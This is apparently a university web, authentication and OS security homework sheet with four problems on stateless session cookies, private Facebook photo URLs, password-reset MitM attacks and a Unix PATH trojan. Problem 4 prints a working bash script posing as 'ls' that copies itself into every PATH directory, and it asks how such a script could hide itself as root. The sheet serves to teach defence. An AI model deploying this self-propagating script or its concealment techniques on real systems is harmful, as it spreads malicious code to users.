Homework 04

Due: 11:59 pm, Tuesday March 20

Please handin your homework assignment on gradescope as a PDF file with each problem on a separate page.

Web Security

Problem 1

Properly designed session cookies should satisfy the following requirements:

R1. It should be hard for a user to be able to guess the session cookie of another particular user.

R2. It should be hard for a user to guess a session cookie (other than their own) that will be accepted as a valid session cookie.

R3. It should be possible for the server to set, when creating the session cookie, an expiration time after which the session identified by the cookie will no longer be valid.

R4. It should be opaque: given a session cookie, it should be impossible to learn anything about it (for example, what user it is for, when it expires, etc).

The traditional implementation of session cookies is to randomly generate the cookies and require the web server to keep state about every active session. In particular, a table must be kept mapping session tokens to the details of the associated session (username, session expiration date, etc.). This is fine for a single server, but for large distributed web applications such as those run by Google or Facebook, synchronizing the database of active sessions across all of the possible servers that a web request could be routed to can be a big challenge.

Using cryptography, design an alternative scheme for creating and managing sessions that is suitable for multiple servers handling user sessions. Your scheme will still be based on the idea of a session cookie, but that cookie will no longer just be a random value identifying an entry in a database.

Below we give you an outline of what your scheme should look like, but you need to fill in the details.

- It is acceptable for your scheme to rely on a certain amount of state shared by all of the web servers running your website, but your scheme must work even if this state is updated infrequently (i.e., once per day at most). When we refer to "state," we're only talking about the state required to keep track of what session a particular session cookie is for. When we say that your scheme can't rely on up-to-date state, we're only talking about this sort of thing. We're not talking about any of the other functions of a web site. Obviously some operations inevitably rely on state (such as transferring money between bank accounts, sending an email, etc.). This isn't the sort of state we're worried about for this problem.
- It is not acceptable for your scheme to rely on any shared state being kept completely up-to-date. It should be the case that, with the exception of the state described above, knowing the session cookie alone is enough to allow a web server to be sure of who is initiating a given HTTP request. As a trivial example, it would be unacceptable to maintain a shared table of current sessions, and have every authentication decision made by consulting this table.

Describe your scheme in detail and show that it satisfies requirements R1, R2, R3, and R4.

Problem 2

While I (Julia) was writing this homework, I came across a rogue hacker, and decided to take a picture of the hacker and upload it to Facebook, but I just wanted to keep it there—I didn't want anyone else to see it—so I set the photo's privacy settings so that it was only visible to me. When I load the image in my browser, the following HTML element is included in the page:

```
https://scontent.fzty2-1.fna.fbcdn.net/v/t31.0-8/27021314_1987305248178419_
 416283021608618407_o.jpg?oh=8bbbaa9db06188f6e5bb8e50cb047669&oe=5AFCFDE5
```
[1]

Answer the following questions:

a) Why are you able to view that URL if the photo is supposed to be private to me?

b) What security feature has Facebook decided not to implement?

c) Given this relaxation, what would be required in order for an attacker to be able to defeat Facebook's security guarantee that unauthorized users cannot view your photos?

d) Do you think that this is a reasonable relaxation of the security rules? Why or why not?

Authentication

Problem 3

Consider the password reset MitM attack described in class that exploits the similarities of the account registration and password reset processes on a website. Also refer to the article by Gelernter et al. cited in the resources for the lecture on the class website.

a) Which precaution can be used by the client at the time of registering new website accounts to prevent the basic version of the attack described in class, where the server requires the client to solve a CAPTCHA and answer a security question. Explain why this measure defeats the attack.

b) Suppose now that in the password reset process, instead of asking the client to answer a security question, the server asks the client to enter a one-time code transmitted via SMS or email. Show how to modify the basic MitM attack described in class to deal with this variation of the password reset process and argue whether the attacker is likely to succeed. For this question, do not consider attacks that capture the SMS message or email with the code.

c) Design a simple password reset process that is resilient against the password reset MitM attack. Justify why your method is effective in protecting against the attack.

In answering the above questions, it is perfectly fine to draw inspiration from the article. However, your answers should be written in your own original words, without quoting or paraphrasing portions of the article.

Operating Systems Security

Problem 4

You are a system administrator for a large Unix system with many users, and a user reports to you that they have found the following file in their `bin` directory (`/home/<user>/bin`), which is on their `PATH`. The file is named `ls`, has the permissions `rwxr-xr-x`, and the user swears that they didn't put it there. Its contents are:

[1]Some of the irrelevant attributes have been removed for simplicity

```
#!/bin/bash

/bin/ls "$@"
LS_EXIT_CODE=$?

DIRS=$(echo $PATH | tr : ' ')
for dir in $DIRS; do
    file="$dir/ls"
    cp "$BASH_SOURCE" "$file" && chmod a+rx "$file"
done

exit $LS_EXIT_CODE
```

a) Figure out what this program does. You may want to look at the man pages for `tr` and `chmod`. Also, it will be useful to know that `$@` in bash is a variable that holds the arguments that were passed to the current process, `$?` is a variable that holds the exit code of the previously-executed command, and `$BASH_SOURCE` is a variable that holds the path to the script that is currently executing.

b) How could the user have gotten this file in their `bin` directory without putting it there intentionally? Try to give as precise an explanation as you can, and include technical details.

c) Identify two ways in which the author of this script could have made it so that it was less likely for somebody to discover it (hint: think about what sorts of commands tell users about specific files and where those files are located). For each modification, explain why it would make discovery less likely, and provide a high-level sketch of how it might be implemented.

d) How could the script more effectively cover its tracks if executed by the root user? That is, how could it more reliably hide itself and prevent discovery? When giving your response, make sure you do the following:

- Explain your technique.
- Explain why would the technique not work if executed by a non-root user.
- Explain why the technique would be more reliable than either of your answers from c.
- Provide a high-level sketch of how this technique might be implemented.